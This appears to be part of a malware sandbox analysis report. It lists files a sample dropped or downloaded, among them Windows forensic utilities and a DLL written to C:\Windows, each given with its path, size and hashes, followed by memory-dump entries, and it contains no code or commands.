SHA1 e492f979b20d2ea46f0bc891392b5394fde50364
SHA512 d2830347a4c83b0f16575767ff24f49f10ad88effccdac86b797526494066efdb5abff8b54b950a38f6392029ef72c13893aea8b8f6ac95c06971ccd630dfce2
SSDEEP 6144:5GATHnHkyQ0HMJZpO6AtEnJ1Py040UmugkM:UATHH4OKZ/AanJ1a0UmTD
TLSH
T1CA3423B8A524B480A7735CBBEE57206D5BDFBA8083733E402A1462D854DBDAFD6631C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BrowserDownloadsView.exe

Path C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
Size 361KB
SHA256 47cab171cc417e98b1189a38dfe22bba8610f19bd5b0fb35ede702c70a63e476
MD5 7a4ff12c024a734eeef91e1ef62400fb
SHA1 9ab3034027262dd4fbb07085060d843dec7c84dc
SHA512 b9c070489fef147a4a4206cc2dc11326157fd445c9166f09a9da857acff8e25a8a9303a0c86b466c14a08ec005ac39c1e57ba015c6d66cb67ad09760b8372c76
SSDEEP 6144:OBW66GOJQLy9K4/R6GuaRE5sfWCz/9oRcXCuot8RxLf+LyH:TOOGLz4/Bb0sf9zloRciS0yH
TLSH
T1B4749D12F2E28076E4F316701B3A1F36AEBABA104531CD0B57D81C895EB46A1E63F757
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

executedprogramslist.zip.part

Path C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip.part
Size 52KB
SHA256 84057a0660a51f07c56d893b9949befcc55a271c0e65a23e765bf958b2ae947a
MD5 f8f7a4448239fb7e682cc30fe0971eb8
SHA1 be1bfbbcdbd0ac18d3da0e0c164bb0c90a959a1b
SHA512 354b17319ba82040f083f2e0a77eada47b95b0a48d4a7d8c751d7e77e834b3c3a3bdd8248dc5159735e98cc73c26116f95f03891c13c47f0e3e6ef235c9882d4
SSDEEP 1536:NavGicksQ9XONjlWCYo15HX5ot0xevNFgzP:cGic9Q9chGe5oDa
TLSH
T17E330230B3CF489C986BDDE5C463045AD2B326EC54613A9A268EC88B8C4FC49F941E4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ExecutedProgramsList.exe

Path C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
Size 81KB
SHA256 e3af98717bf1cda7dc4aacb5b34d111ac237604161cd96f7929ec33f2ff260b6
MD5 7366668cc7eaa1068a38cc2761217fc4
SHA1 a6790473129e7298185ef4ee4e0badbdecc50040
SHA512 5af36447a1d29c2024b83cf08bb9cfc2c360e02d819eb7b238e1e9f774aef6e5930f5f33b9f64d62e4e958911493338a0d95b58b22b076c4e9025abe6f3f0b4a
SSDEEP 1536:mnfPc3+xpqH7tTkloB7MYk34T8bbcw+BI2SNGOcJ74l8:mnf03+xpq71kl0QYk3Jbww+JSNGOcZ4q
TLSH
T1B8836B0363E44072FAB31A709AB36A664BFA7D225A74C50F8BA4B94E6CF0741D531397
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recentfilesview.zip

Path C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip
Size 48KB
SHA256 6920cc0165fcffa1a009c663c3dce7c84a62ca0e4b73d9d86dc9cc0dc39dca61
MD5 33560ffee697fe5e598fc49dab473191
SHA1 58a3a2ef1bb0acef03256299382e5b33ac416057
SHA512 e4dd816625ada957627b0769567c054d486b593bd9e8c22946b714103c918ff7f82fa1736857c30c680949591d4366bc49127bd042a23d427874625f6efa9815
SSDEEP 1536:i1+IlIEkBSyxmqQ3nZVKjDHyMWYVlM57RVzOX+a7:i1+ICEySinHyMWQerVE7
TLSH
T1C123027DD8113E2DFD5A42F7B3C224D541052BB4DE9B26E5B30BAD90C4502A7E28A2CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RecentFilesView.exe

Path C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
Size 46KB
SHA256 80930766283e9575617cd03ea31e575c091fb2148e08c37874afe40371cfd5a3
MD5 4d27a0ef39f71709510662519553b24d
SHA1 35adea46f3fde61c14230c67b687086429fc8438
SHA512 8f9fe1b9d0d93aa80520319de07e7a53fe2eb51020da207007ac0b74412bfe896ee664778d001709d29b6ce3e533d611de62734854bd8037979ee59f19a600d4
SSDEEP 768:QxKVTfbKrhSUN53TiDNoG3+MUAkow8HMcZwS62qGFh7JzbiyiyO:ZfbWNomnMUhZKBsC5Jzbiv
TLSH
T12323D0D38D747A50EA850D34A5F7DB37AEB2FA825A54439674AED09DBCD03E07D1800B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xdwd.dll

Path C:\Windows\xdwd.dll
Size 136KB
SHA256 35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66
MD5 16e5a492c9c6ae34c59683be9c51fa31
SHA1 97031b41f5c56f371c28ae0d62a2df7d585adaba
SHA512 20fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6
SSDEEP 3072:t0iX+jLyDcqaH9a6DFHo6MjD7VbZaZaZ8Xwlk4MHWZpt:t07yDSvdoRj2up
TLSH
T151D35B0772A500BFE1668638C5630A09E777B8211770DBAF33A4429D9F277E19D3AF61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/240-269-0x0000000000400000-0x0000000000417000-memory.dmp

Download

memory/1224-265-0x0000000000400000-0x0000000000417000-memory.dmp

Download

memory/2340-259-0x0000000000400000-0x0000000000417000-memory.dmp

Download

memory/2492-189-0x000000001C9C0000-0x000000001CA0C000-memory.dmp

Download

memory/2492-191-0x000000001CA40000-0x000000001CA8A000-memory.dmp

Download

memory/2492-190-0x000000001CA10000-0x000000001CA3A000-memory.dmp

Download

memory/2492-188-0x000000001C380000-0x000000001C3F8000-memory.dmp

Download

memory/2636-285-0x0000000000400000-0x0000000000417000-memory.dmp

Download

memory/3196-291-0x0000000000400000-0x0000000000417000-memory.dmp

Download

memory/3208-279-0x0000000000400000-0x0000000000417000-memory.dmp

Download

memory/3596-21-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/3596-0-0x00007FFF8C95F000-0x00007FFF8C960000-memory.dmp

Download

memory/3596-4-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/3596-2-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/3596-1-0x0000000000E90000-0x0000000000F66000-memory.dmp

Download

memory/3956-146-0x000002C077E20000-0x000002C077E2A000-memory.dmp

Download

memory/3956-148-0x000002C077D40000-0x000002C077D4A000-memory.dmp

Download

memory/3956-147-0x000002C077E20000-0x000002C077E32000-memory.dmp

Download

memory/3956-145-0x000002C077D60000-0x000002C077E12000-memory.dmp

Download

memory/3956-144-0x000002C077D40000-0x000002C077D5E000-memory.dmp

Download

memory/3956-141-0x000002C05FB90000-0x000002C05FBB2000-memory.dmp

Download

memory/4288-274-0x0000000000400000-0x0000000000417000-memory.dmp

Download

memory/4492-27-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/4492-28-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/4492-29-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/4492-26-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/4492-25-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/4492-24-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/4492-129-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/4492-22-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/4492-23-0x00007FFF8C7D0000-0x00007FFF8D174000-memory.dmp

Download

memory/4492-20-0x0000000000440000-0x00000000004E2000-memory.dmp

Download

memory/4972-262-0x0000000000400000-0x0000000000417000-memory.dmp

Download

memory/5432-241-0x0000000000400000-0x0000000000417000-memory.dmp

Download

memory/5432-249-0x0000000000400000-0x0000000000417000-memory.dmp

Download